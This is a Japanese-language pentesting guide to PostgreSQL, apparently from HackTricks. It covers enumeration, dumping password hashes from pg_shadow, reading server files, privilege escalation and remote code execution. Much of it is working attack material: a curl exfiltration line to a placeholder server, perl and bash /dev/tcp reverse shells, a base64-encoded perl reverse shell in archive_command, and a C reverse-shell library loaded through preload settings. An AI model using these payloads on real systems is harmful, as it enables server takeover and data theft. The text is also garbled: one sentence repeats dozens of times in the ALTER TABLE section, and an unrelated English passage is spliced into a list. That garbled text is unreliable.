5432,5433 - Pentesting Postgresql

Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセスしてください：

Automate OffSec, EASM, and Custom Security Processes | Trickest

**htARTE（HackTricks AWS Red Team Expert）**でゼロからヒーローまでのAWSハッキングを学ぶ

HackTricksをサポートする他の方法：

• HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksのグッズを入手してください

• The PEASS Familyを発見し、独占的なNFTsのコレクションを見つけてください

• 💬 Discordグループやtelegramグループに参加したり、Twitter 🐦 @carlospolopmをフォローしてください。

• HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。

基本情報

PostgreSQLは、オープンソースのオブジェクトリレーショナルデータベースシステムとして説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能を備えて拡張しています。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。

デフォルトポート: 5432で、このポートがすでに使用されている場合、おそらくpostgresqlは使用されていない次のポート（おそらく5433）を使用するようです。

PORT     STATE SERVICE
5432/tcp open  pgsql

接続と基本的な列挙

psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection

psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

\list を実行すると、rdsadmin というデータベースが見つかった場合、AWSのPostgreSQLデータベース内にいることがわかります。

PostgreSQLデータベースを悪用する方法の詳細については、以下をチェックしてください：

pagePostgreSQL injection

自動列挙

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

ポートスキャン

この研究によると、接続試行が失敗すると、dblinkはsqlclient_unable_to_establish_sqlconnection例外をスローし、エラーの説明が含まれます。これらの詳細の例は以下にリストされています。

SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');

• ホストがダウンしています

DETAIL: サーバーに接続できませんでした: ホストへのルートがありません ホスト「1.2.3.4」でサーバーがポート5678でTCP/IP接続を受け入れていますか？

• ポートが閉じています

DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

• ポートが開いています

DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

### PostgreSQL

#### Enumeration

When pentesting a PostgreSQL server, you can use tools like `nmap`, `pgcli`, `Metasploit`, and `pgadmin` to gather information about the database server.

- **nmap**: You can use nmap to discover open ports and detect PostgreSQL service running on the target server.
- **pgcli**: pgcli is a command-line interface for PostgreSQL that allows you to interact with the database using SQL queries.
- **Metasploit**: Metasploit has modules that can help you in exploiting PostgreSQL vulnerabilities.
- **pgadmin**: pgadmin is a graphical tool that can be used to manage PostgreSQL databases.

#### Exploitation

After enumerating the PostgreSQL server, you can proceed with exploiting any vulnerabilities found. Common exploitation techniques include SQL injection, weak credentials, and insecure configurations.

- **SQL Injection**: By injecting malicious SQL queries, an attacker can manipulate the database and retrieve sensitive information.
- **Weak Credentials**: Default or weak credentials can be exploited to gain unauthorized access to the database server.
- **Insecure Configurations**: Improperly configured PostgreSQL servers can be vulnerable to attacks like privilege escalation and data manipulation.

#### Post-Exploitation

Once you have successfully exploited the PostgreSQL server, you can perform various post-exploitation activities such as:

- Dumping the database contents
- Creating backdoors for future access
- Modifying data or configurations
- Covering tracks to avoid detection

DETAIL:  FATAL:  password authentication failed for user "name"

• ポートが開いているかフィルタリングされています

DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

特権の列挙

ロール

ロールの種類
rolsuper	ロールにはスーパーユーザー権限があります
rolinherit	ロールは自動的に、そのメンバーであるロールの権限を継承します
rolcreaterole	ロールは他のロールを作成できます
rolcreatedb	ロールはデータベースを作成できます
rolcanlogin	ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます
rolreplication	ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。
rolconnlimit	ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。
rolpassword	パスワードではなく（常に ******** として表示されます）
rolvaliduntil	パスワードの有効期限（パスワード認証にのみ使用されます）；有効期限がない場合は null
rolbypassrls	ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細についてはセクション 5.8を参照してください。
rolconfig	実行時構成変数のロール固有のデフォルト
oid	ロールの ID

興味深いグループ

• もし pg_execute_server_program のメンバーであれば、プログラムを 実行 できます

• もし pg_read_server_files のメンバーであれば、ファイルを 読み取る ことができます

• もし pg_write_server_files のメンバーであれば、ファイルを 書き込む ことができます

Postgresでは、ユーザー、グループ、ロール は 同じ です。それは単に、どのように使用するか と ログインを許可するか によります。

# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

テーブル

# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

関数

# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

ファイルシステムのアクション

ディレクトリとファイルの読み取り

このcommitから、定義された**DEFAULT_ROLE_READ_SERVER_FILESグループ（pg_read_server_filesと呼ばれる）のメンバーやスーパーユーザは、任意のパスでCOPY**メソッドを使用できます（genfile.cのconvert_and_check_filenameを確認してください）。

# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

スーパーユーザーではない場合でも、CREATEROLE 権限を持っていれば、そのグループのメンバーに自分自身を追加できます:

GRANT pg_read_server_files TO username;

詳細情報

他のPostgres関数を使用してファイルを読み取るかディレクトリをリストすることができます。これらを使用できるのはスーパーユーザーと明示的な権限を持つユーザーだけです:

# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

以下の場所でさらに多くの関数を見つけることができます：https://www.postgresql.org/docs/current/functions-admin.html

簡単なファイル書き込み

スーパーユーザーと**pg_write_server_files**のメンバーだけがファイルを書き込むためにコピーを使用できます。

copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

CREATEROLE 権限を持っているがスーパーユーザーではない場合、そのグループのメンバーになることができます:

GRANT pg_write_server_files TO username;

詳細はこちら

COPYは改行文字を処理できないため、ベース64ペイロードを使用していてもワンライナーを送信する必要があります。 このテクニックの非常に重要な制限事項は、copyはバイナリファイルを書き込むために使用できないことです。

バイナリファイルのアップロード

ただし、大きなバイナリファイルをアップロードするための他のテクニックがあります:

pageBig Binary Files Upload (PostgreSQL)

バグバウンティのヒント: Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです！https://go.intigriti.com/hacktricksで参加し、最大**$100,000**のバウンティを獲得しましょう！

Register - IntigritiRegister - Intigriti

ローカルファイル書き込みを介したPostgreSQLテーブルデータの更新

PostgreSQLサーバーファイルを読み書きする必要な権限がある場合、PostgreSQLデータディレクトリ内の関連ファイルノードを上書きすることでサーバー上の任意のテーブルを更新できます。このテクニックについての詳細はこちら here。

必要な手順:

1. PostgreSQLデータディレクトリを取得

SELECT setting FROM pg_settings WHERE name = 'data_directory';

注意: 設定から現在のデータディレクトリパスを取得できない場合は、SELECT version()クエリを使用して主要なPostgreSQLバージョンをクエリし、パスをブルートフォースしてください。PostgreSQLのUnixインストールでの一般的なデータディレクトリパスは/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/です。一般的なクラスタ名はmainです。 2. ターゲットテーブルに関連するファイルノードへの相対パスを取得

SELECT pg_relation_filepath('{TABLE_NAME}')

このクエリはbase/3/1337のようなものを返すはずです。ディスク上の完全なパスは$DATA_DIRECTORY/base/3/1337、つまり/var/lib/postgresql/13/main/base/3/1337になります。 3. lo_*関数を使用してファイルノードをダウンロード

SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)

4. ターゲットテーブルに関連付けられたデータ型を取得

SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';

5. PostgreSQL Filenode Editorを使用して、ファイルノードを編集し、すべてのrol*ブールフラグを1に設定して完全な権限を付与します。

python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

6. lo_*関数を使用して編集済みのファイルノードを再アップロードし、ディスク上の元のファイルを上書き

SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')

7. (オプション) 高コストのSQLクエリを実行してインメモリテーブルキャッシュをクリア

SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)

8. PostgreSQLで更新されたテーブル値が表示されるはずです。

pg_authidテーブルを編集することでスーパーアドミンにもなれます。次のセクションを参照してください here。

RCE

プログラムへのRCE

バージョン9.3以降、スーパーユーザーおよび**pg_execute_server_program**グループのメンバーだけがRCEにCOPYを使用できます（情報漏洩の例:

'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

例を実行するには：

#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

スーパーユーザーではない場合でも、CREATEROLE 権限を持っていれば、そのグループのメンバーになることができます:

GRANT pg_execute_server_program TO username;

詳細はこちら

またはmetasploitからmulti/postgres/postgres_copy_from_program_cmd_execモジュールを使用します。 この脆弱性に関する詳細はこちらをご覧ください。CVE-2019-9193として報告されましたが、Postgesはこれを機能として修正しないことを宣言しました。

PostgreSQL言語を使用したRCE

pageRCE with PostgreSQL Languages

PostgreSQL拡張機能を使用したRCE

前の投稿からバイナリファイルのアップロード方法を学んだ後、PostgreSQL拡張機能をアップロードして読み込むことができます。

pageRCE with PostgreSQL Extensions

PostgreSQL構成ファイルRCE

次のRCEベクトルは、すべての手順をネストされたSELECTステートメントを介して実行できるため、制約されたSQLiコンテキストで特に有用です

PostgreSQLの構成ファイルはpostgresユーザによって書き込み可能であり、これはデータベースを実行しているユーザであるため、スーパーユーザとしてファイルをファイルシステムに書き込むことができ、したがってこのファイルを上書きすることができます。

ssl_passphrase_commandを使用したRCE

このテクニックに関する詳細はこちらをご覧ください。

構成ファイルにはRCEにつながる興味深い属性がいくつかあります:

• ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' データベースの秘密鍵へのパス

• ssl_passphrase_command = '' もし秘密ファイルがパスワードで保護されている場合、postgresqlはこの属性で指定されたコマンドを実行します。

• ssl_passphrase_command_supports_reload = off もしこの属性がonの場合、キーがパスワードで保護されている場合に実行されるコマンドは、pg_reload_conf()が実行されたときに実行されます。

その後、攻撃者は次の手順を踏む必要があります:

1. サーバーから秘密鍵をダンプ

2. ダウンロードした秘密鍵を暗号化:

3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

4. 上書き

5. 現在のPostgreSQLの構成をダンプ

6. 上記の属性構成で構成を上書きする:

7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

8. ssl_passphrase_command_supports_reload = on

9. pg_reload_conf()を実行

これをテストしてみたところ、秘密鍵ファイルが権限640である場合にのみ機能し、rootが所有しており、グループssl-certまたはpostgres（つまりpostgresユーザが読み取れる）である必要があり、_ /var/lib/postgresql/12/main_に配置されていることがわかりました。

archive_commandを使用したRCE

この構成とWALに関する詳細については、こちらをご覧ください。

構成ファイルの別の属性であるarchive_commandは悪用可能です。

これを機能させるには、archive_mode設定が'on'または'always'である必要があります。その場合、archive_commandのコマンドを上書きしてWAL（Write-Ahead Logging）操作を介して実行することができます。

一般的な手順は次のとおりです:

1. アーカイブモードが有効かどうかを確認: SELECT current_setting('archive_mode')

2. archive_commandをペイロードで上書きします。たとえば、リバースシェル: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'

3. 構成を再読み込み: SELECT pg_reload_conf()

4. WAL操作を実行し、アーカイブコマンドを呼び出します: 一部のPostgresバージョンではSELECT pg_switch_wal()またはSELECT pg_switch_xlog()を使用します

preloadライブラリを使用したRCE

このテクニックに関する詳細はこちらをご覧ください。

この攻撃ベクトルは次の構成変数を利用します:

• session_preload_libraries -- PostgreSQLサーバがクライアント接続時に読み込むライブラリ。

• dynamic_library_path -- PostgreSQLサーバがライブラリを検索するディレクトリのリスト。

dynamic_library_pathの値を、データベースを実行しているpostgresユーザが書き込み可能なディレクトリ（たとえば/tmp/ディレクトリ）に設定し、そこに悪意のある.soオブジェクトをアップロードします。次に、新しくアップロードしたライブラリをsession_preload_libraries変数に含めることで、PostgreSQLサーバに新しくアップロードしたライブラリを読み込ませます。

攻撃手順は次のとおりです:

1. 元のpostgresql.confをダウンロード

2. dynamic_library_path値に/tmp/ディレクトリを含める。例: dynamic_library_path = '/tmp:$libdir'

3. session_preload_libraries値に悪意のあるライブラリ名を含める。例: session_preload_libraries = 'payload.so'

4. SELECT version()クエリを使用して主要なPostgreSQLバージョンを確認

5. 正しいPostgreSQL devパッケージを使用して悪意のあるライブラリコードをコンパイルします。サンプルコード:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

コードのコンパイル:

gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c

6. ステップ2-3で作成した悪意のあるpostgresql.confをアップロードし、元のファイルを上書きします

7. ステップ5で作成したpayload.soを/tmpディレクトリにアップロードします

8. サーバー構成を再読み込みするには、サーバーを再起動するかSELECT pg_reload_conf()クエリを実行します

9. 次回のDB接続時にリバースシェル接続を受け取ります。

Postgres Privesc

CREATEROLE Privesc

権限付与

ドキュメントによると: CREATEROLE 権限を持つロールは、スーパーユーザーでない任意のロールのメンバーシップを付与または取り消すことができます。

したがって、CREATEROLE 権限があれば、他のロールへのアクセス権を自分自身に付与できます（スーパーユーザーでない場合）。これにより、ファイルの読み書きやコマンドの実行が可能になります。

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

パスワードの変更

このロールを持つユーザーは、他の非スーパーユーザーのパスワードも変更できます。

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

SUPERUSERへの昇格

ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできることが一般的です。したがって、コードを実行する権限を取得したら、これらの権限を悪用して**SUPERUSER**ロールを取得できます。

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

これは通常、pg_hba.conf ファイル内の次の行のために可能です：

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE権限昇格

この解説では、ユーザーに付与されたALTER TABLE権限を悪用してPostgres GCPで権限昇格が可能だった方法が説明されています。

別のユーザーをテーブルの所有者にするという試みはエラーが発生して阻止されるべきですが、どうやらGCPではスーパーユーザーでないpostgresユーザーにそのオプションが与えられていたようです：

この考えをインデックス関数を持つテーブルでINSERT/UPDATE/ANALYZEコマンドが実行されると、関数がコマンドの一部として呼び出されるという事実と結びつけると、テーブルの所有者権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つスーパーユーザーに与えることが可能で、その後、所有者の権限を使用してコマンドを実行できる悪意のある関数を持つインデックスを作成し、そのテーブルに対して所有者権限を持つ**ス

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

1. 新しいテーブルを作成します。

2. テーブルに関連性のないコンテンツを挿入して、インデックス機能にデータを提供します。

3. 悪意のあるインデックス機能を開発し、コード実行ペイロードを含め、不正なコマンドを実行できるようにします。

4. テーブルの所有者を「cloudsqladmin」に変更します。これは、Cloud SQLがデータベースを管理および維持するために独占的に使用するGCPのスーパーユーザーロールです。

5. テーブルに対してANALYZE操作を実行します。この操作により、PostgreSQLエンジンはテーブルの所有者である「cloudsqladmin」のユーザーコンテキストに切り替わります。したがって、悪意のあるインデックス機能は「cloudsqladmin」の権限で呼び出され、以前に許可されていなかったシェルコマンドの実行が可能になります。

PostgreSQLでは、このフローは次のようになります：

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

その後、shell_commands_results テーブルには実行されたコードの出力が含まれます:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

ローカルログイン

一部の設定ミスのあるPostgreSQLインスタンスでは、dblink関数を使用して、127.0.0.1からの任意のローカルユーザーのログインが許可される場合があります。

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

前のクエリが機能するためには、dblink 関数が存在する必要があります。存在しない場合は、次のように作成してみることができます。

CREATE EXTENSION dblink;

もし特権を持つユーザーのパスワードを持っているが、そのユーザーが外部IPからのログインを許可されていない場合、次の関数を使用してそのユーザーとしてクエリを実行できます:

SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

次のコマンドでこの関数が存在するかどうかを確認できます：

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

セキュリティデフィナーで定義されたカスタム関数

この解説では、IBMが提供するPostgresインスタンス内で、SECURITY DEFINERフラグを持つこの関数を見つけたため、ペンテスターは権限昇格に成功しました。

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
